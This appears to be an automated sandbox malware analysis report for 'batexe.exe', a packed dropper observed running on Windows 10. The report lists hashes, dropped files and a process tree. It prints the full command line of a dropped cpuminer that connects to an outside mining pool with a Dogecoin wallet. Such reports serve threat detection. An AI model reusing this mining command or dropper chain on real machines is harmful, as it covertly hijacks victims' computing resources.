73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 02:24

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2316	b2e.exe
4880	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4856-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4856 wrote to memory of 2316	4856	batexe.exe	75
PID 4856 wrote to memory of 2316	4856	batexe.exe	75
PID 4856 wrote to memory of 2316	4856	batexe.exe	75
PID 2316 wrote to memory of 2572	2316	b2e.exe	76
PID 2316 wrote to memory of 2572	2316	b2e.exe	76
PID 2316 wrote to memory of 2572	2316	b2e.exe	76
PID 2572 wrote to memory of 4880	2572	cmd.exe	79
PID 2572 wrote to memory of 4880	2572	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BC4B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe

Filesize
8.1MB

MD5
0074ed732dd43fb06aacde6b570db0f2

SHA1
54ba96d0307d98c8f2ebdd1dc6dcc82060cc89ec

SHA256
527d16c30d1cfd8d9292982d67be8cfdf8f4421bd0d5f0ac2b82668648d91a67

SHA512
5caa64cd68509e69356a987b996f06ca3228ced3e946c048a88aff2270c826ccb88b153a96a0c1b323e3facda5df387274435a259312ab2ae9a96152ad873630

Download Submit
C:\Users\Admin\AppData\Local\Temp\B9CA.tmp\b2e.exe

Filesize
11.3MB

MD5
65f1fc4e2a92797804173c91f260bec4

SHA1
a9a97b4c3a885c2895cf0f3be2a5ffba62c74572

SHA256
fa0bfd51a1380bba94a9b57b4037d1c6155ec6f5ced8d374e7c14e5bcfe80522

SHA512
b64fa7eccbe0d9f447a2c276805e48447802c5942d558cf70a839bae2d0cd4119b54af399530b8799dc61a6fadee5ce6ecc072ebd01872afcc061d55aace830b

Download Submit
C:\Users\Admin\AppData\Local\Temp\BC4B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
4ff74831f154773ce0f6437abfd0ba4f

SHA1
b9ac1e63975ff7494e0f0ffb5146be8ed86d6e2c

SHA256
df9b335bb9a475519b633674179aa216bf844b371df7b3c5823bae50d892e7ec

SHA512
b972dda46990ebe84c68988a927ce74d57c0d75ba297d5ef1f938cd10eb8135a74e0dd5f97e0eea7a8301e6376ca90cab6782a8c8f3c7ef4abfef1eb3a08a524

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
ef2a8cfd375c9841a77919e69521f6b5

SHA1
6cf84ddcde10dac793e7df344eaab568e96422cb

SHA256
e25aea50619b437e9856470d920fbdab4aef95e2b261446d802b30dbfc666f93

SHA512
2712e4ac3d175efff3f5131caacee9fc618170a78a6ddfd2424122337f8ed1b332161ed5ee3b829b166bacf17dbdea1b3f64a4540e78ee99cedcff41ab5e6075

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
55c5d1c7c76a7c549ef5df717d5a5003

SHA1
c72d816745cfe972ca774f0d15158735cdcae8a0

SHA256
6878cdc15edaa690864397553cefce6fb5179106fa15304894c9930a8676391b

SHA512
85ed457bd3103bf349ef02dd45a7b9b6b678427643b9b4f41cf3ce6a2c9947f10151325b22655cf486a1ecf88217a6b5688123544cfcb81135a04ecfd972772f

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
e3fc324d836873f4d821179e18f332ac

SHA1
a31ddb7ed89a7e4cf781c17c0f192bcf7ddca7a0

SHA256
1b803b3cc3029795b581061842ed8c7405e6df8bfa4e1b1e25ee89665f2c611a

SHA512
725344b2417de080ad733b5abdc9fbdb3f4d11f82a947427513063505e1670ae9c92ee72ca2aad9fbf576a5060363650704f1a914d82c96da8be07ad3c64ac3b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
40977e6c64a76b0c5f4aa1795785749b

SHA1
0dbfa1a124ab946d0ce13fe5a063b5bd1d9063d5

SHA256
642c7ea72b59ed8c2539718ad3d65a83fa68e713b1df5ca9532ef14ec4233fde

SHA512
3c745839376108d58c2865073a770e1220a30196140d758b11b23b6b58ce50e7c780e9ed1bd2ee171c3d0cda1234b4779db09671f1347a9bfcba8d2beb17bf70

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2316-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2316-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4856-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4880-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4880-43-0x0000000060AA0000-0x0000000060B38000-memory.dmp

Filesize
608KB

Download
memory/4880-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4880-44-0x0000000001010000-0x00000000028C5000-memory.dmp

Filesize
24.7MB

Download
memory/4880-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download